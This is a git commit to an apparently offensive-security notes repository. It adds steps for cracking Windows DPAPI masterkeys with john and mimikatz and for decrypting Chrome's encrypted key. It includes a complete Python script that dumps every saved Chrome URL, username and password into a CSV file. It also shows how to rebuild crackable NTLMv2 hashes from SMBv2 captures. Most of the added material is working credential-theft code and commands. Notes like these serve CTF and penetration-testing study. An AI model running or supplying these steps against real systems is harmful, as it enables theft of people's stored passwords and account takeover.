added information about DPAPI decryption and reconstruction of NTLMv2 hashes through SMBv2 via Wireshark.
This commit is contained in:
parent
fc17f75721
commit
97317fcefa
|
@ -5,7 +5,166 @@
|
|||
* [tinyapps' replace and recover domian cached credentials](https://tinyapps.org/docs/domain-cached-credentials.html)
|
||||
* [ired's reading dpapi encrypted secrets with mimikatz and c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++)
|
||||
|
||||
## Tools
|
||||
## Extract DPAPI Masterkey from AppData
|
||||
|
||||
First find the user passwords inside `C:\Users\<user>\AppData\Roaming\Microsoft\Protect\<SID>\<MasterkeyFile>`
|
||||
|
||||
```sh
|
||||
DPAPImk2john --sid <SID> --masterkey <PathToMasterKeyFile> --context local > hash.txt
|
||||
john --wordlist=<wordlist> hash.txt
|
||||
```
|
||||
|
||||
Use mimikatz on windows to extract the masterkey after the password has been discovered.
|
||||
|
||||
```sh
|
||||
mimikatz
|
||||
dpapi::masterkey /in:<AbsolutePathtoMasterKeyFile> /sid:<SID> /password:<password> /protected
|
||||
```
|
||||
|
||||
This master key is used to derive keys for encryption or encrypt other keys
|
||||
instead of just encrypting files directly through DPAPI.
|
||||
|
||||
## Use a DPAPI Masterkey to Decrypt an Encrypted Blob
|
||||
|
||||
The found masterkey can be used to decrypt encrypted data or even other keys
|
||||
which are used for file encryption.
|
||||
Use mimikatz to extract data/keys from an encrypted blob.
|
||||
|
||||
```sh
|
||||
mimikatz
|
||||
dpapi::blob /in:<AbsolutePathtoEncryptedFile> /unprotect /masterkey:<FoundMasterkey> /out:"./decrypted_blob"
|
||||
```
|
||||
|
||||
### Use of DPAPI in Google Chrome
|
||||
|
||||
Google Chrome encrypts the key of which is used for password vaults of the
|
||||
users. The `encrypted_key` inside a JSON file named `Local State` is an DPAPI
|
||||
encrypted key. Get the key through using jq.
|
||||
|
||||
```sh
|
||||
jq .os_crypt.encrypted_key -r AppData/Local/Google/Chrome/User\ Data/\Local\ State
|
||||
```
|
||||
|
||||
The `encrypted_key` itself is encrypted through DPAPI. To decrypt it, base64
|
||||
decode it at first and remove the first 5 characters, which are `DPAPI` from
|
||||
the decoded string.
|
||||
|
||||
```sh
|
||||
jq .os_crypt.encrypted_key -r \
|
||||
AppData/Local/Google/Chrome/User\ Data/\Local\ State | \
|
||||
base64 -d | \
|
||||
cut -c-6- > encrypted_key.dat
|
||||
```
|
||||
|
||||
This `encrypted_key.dat` is used to encrypt data inside the sqlite database inside
|
||||
`AppData/Local/Google/Chrome/User\ Data/Default/Login\ Data`.
|
||||
|
||||
```sh
|
||||
mimikatz
|
||||
dpapi::blob /in:"./encrypted_key.dat" /unprotect /masterkey:<FoundMasterkey> /out:"./decrypted.key"
|
||||
```
|
||||
|
||||
Decrypt the Database via a modified version of
|
||||
[ohyicong](https://github.com/ohyicong/decrypt-chrome-passwords.git), depending
|
||||
on the following circumstances.
|
||||
|
||||
* Modify the secret_key function if you got the key through AppData and cannot log in as the user you want to attack
|
||||
* Modify the column names of select query, depending on the version of Chrome
|
||||
|
||||
```python
|
||||
#Full Credits to LimerBoy
|
||||
import os
|
||||
import re
|
||||
import sys
|
||||
import json
|
||||
import base64
|
||||
import sqlite3
|
||||
import win32crypt
|
||||
from Cryptodome.Cipher import AES
|
||||
import shutil
|
||||
import csv
|
||||
|
||||
#GLOBAL CONSTANT
|
||||
CHROME_PATH_LOCAL_STATE = os.path.normpath(r"%s\Desktop\AppData\Local\Google\Chrome\User Data\Local State"%(os.environ['USERPROFILE']))
|
||||
CHROME_PATH = os.path.normpath(r"%s\Desktop\AppData\Local\Google\Chrome\User Data"%(os.environ['USERPROFILE']))
|
||||
|
||||
def get_secret_key():
|
||||
with open('./decrypted.key', 'rb') as f:
|
||||
return f.read()
|
||||
|
||||
def decrypt_payload(cipher, payload):
|
||||
return cipher.decrypt(payload)
|
||||
|
||||
def generate_cipher(aes_key, iv):
|
||||
return AES.new(aes_key, AES.MODE_GCM, iv)
|
||||
|
||||
def decrypt_password(ciphertext, secret_key):
|
||||
try:
|
||||
#(3-a) Initialisation vector for AES decryption
|
||||
initialisation_vector = ciphertext[3:15]
|
||||
#(3-b) Get encrypted password by removing suffix bytes (last 16 bits)
|
||||
#Encrypted password is 192 bits
|
||||
encrypted_password = ciphertext[15:-16]
|
||||
#(4) Build the cipher to decrypt the ciphertext
|
||||
cipher = generate_cipher(secret_key, initialisation_vector)
|
||||
decrypted_pass = decrypt_payload(cipher, encrypted_password)
|
||||
decrypted_pass = decrypted_pass.decode()
|
||||
return decrypted_pass
|
||||
except Exception as e:
|
||||
print("%s"%str(e))
|
||||
print("[ERR] Unable to decrypt, Chrome version <80 not supported. Please check.")
|
||||
return ""
|
||||
|
||||
def get_db_connection(chrome_path_login_db):
|
||||
try:
|
||||
print(chrome_path_login_db)
|
||||
shutil.copy2(chrome_path_login_db, "Loginvault.db")
|
||||
return sqlite3.connect("Loginvault.db")
|
||||
except Exception as e:
|
||||
print("%s"%str(e))
|
||||
print("[ERR] Chrome database cannot be found")
|
||||
return None
|
||||
|
||||
if __name__ == '__main__':
|
||||
try:
|
||||
#Create Dataframe to store passwords
|
||||
with open('decrypted_password.csv', mode='w', newline='', encoding='utf-8') as decrypt_password_file:
|
||||
csv_writer = csv.writer(decrypt_password_file, delimiter=',')
|
||||
csv_writer.writerow(["index","url","username","password"])
|
||||
#(1) Get secret key
|
||||
secret_key = get_secret_key()
|
||||
#Search user profile or default folder (this is where the encrypted login password is stored)
|
||||
folders = [element for element in os.listdir(CHROME_PATH) if re.search("^Profile*|^Default$",element)!=None]
|
||||
for folder in folders:
|
||||
#(2) Get ciphertext from sqlite database
|
||||
chrome_path_login_db = os.path.normpath(r"%s\%s\Login Data"%(CHROME_PATH,folder))
|
||||
conn = get_db_connection(chrome_path_login_db)
|
||||
if(secret_key and conn):
|
||||
cursor = conn.cursor()
|
||||
cursor.execute("SELECT origin_url, username_value, password_value FROM logins")
|
||||
for index,login in enumerate(cursor.fetchall()):
|
||||
url = login[0]
|
||||
username = login[1]
|
||||
ciphertext = login[2]
|
||||
if(url!="" and username!="" and ciphertext!=""):
|
||||
#(3) Filter the initialisation vector & encrypted password from ciphertext
|
||||
#(4) Use AES algorithm to decrypt the password
|
||||
decrypted_password = decrypt_password(ciphertext, secret_key)
|
||||
print("Sequence: %d"%(index))
|
||||
print("URL: %s\nUser Name: %s\nPassword: %s\n"%(url,username,decrypted_password))
|
||||
print("*"*50)
|
||||
#(5) Save into CSV
|
||||
csv_writer.writerow([index,url,username,decrypted_password])
|
||||
#Close database connection
|
||||
cursor.close()
|
||||
conn.close()
|
||||
#Delete temp login db
|
||||
os.remove("Loginvault.db")
|
||||
except Exception as e:
|
||||
print("[ERR] %s"%str(e))
|
||||
```
|
||||
|
||||
## Other Tools
|
||||
|
||||
* [tjldeneut's dpaping-lab](https://github.com/tijldeneut/dpapilab-ng.git)
|
||||
* [BlackDiverX's unpacked cqtools]( https://github.com/BlackDiverX/cqtools)
|
||||
|
|
|
@ -18,3 +18,22 @@ Search for the DNS requests containing the specific top level domain.
|
|||
```sh
|
||||
tshark -r capture.pcapng -Y 'dns && ip.dst==167.71.211.113 && (dns contains xyz)' -T fields -e dns.qry.name | awk -F '.' '{print $1}' | uniq > dns.out
|
||||
```
|
||||
|
||||
## NTLMv2 hash Reconstruction via SMBv2
|
||||
|
||||
Session setup of SMBv2 leaves enough information to reconstruct the NTLMv2 hash.
|
||||
Take a look at the second and third packets of the initialization, namely
|
||||
`Session Setup Response, Error: STATUS_MORE_PROCESSING_REQUIRED, NTLMSSP_CHALLENGE`
|
||||
and `Session Setup Request, NTLMSSP_AUTH, User: <DOMAIN\USERNAME>`.
|
||||
|
||||
The scheme of an NTLMv2 hash is the following.
|
||||
|
||||
```
|
||||
[User name]::[Domain name]:[NTLM Server Challenge]:[NTProofStr]:[Rest of NTLMv2 Response]
|
||||
```
|
||||
|
||||
The `NTLM Server Challenge` can be found inside the `Security Blob` of the
|
||||
request from the server.
|
||||
`User name`, `Domain name` and `NTLMv2 Response` can be found inside the
|
||||
`Security Blob` inside the response sent by the client. `NTProofStr` is the
|
||||
first part of the `NTLM Response`. Set a `:` between `NTProofStr` and the rest of the `NTLMv2 Response`.
|
||||
|
|
Loading…
Reference in New Issue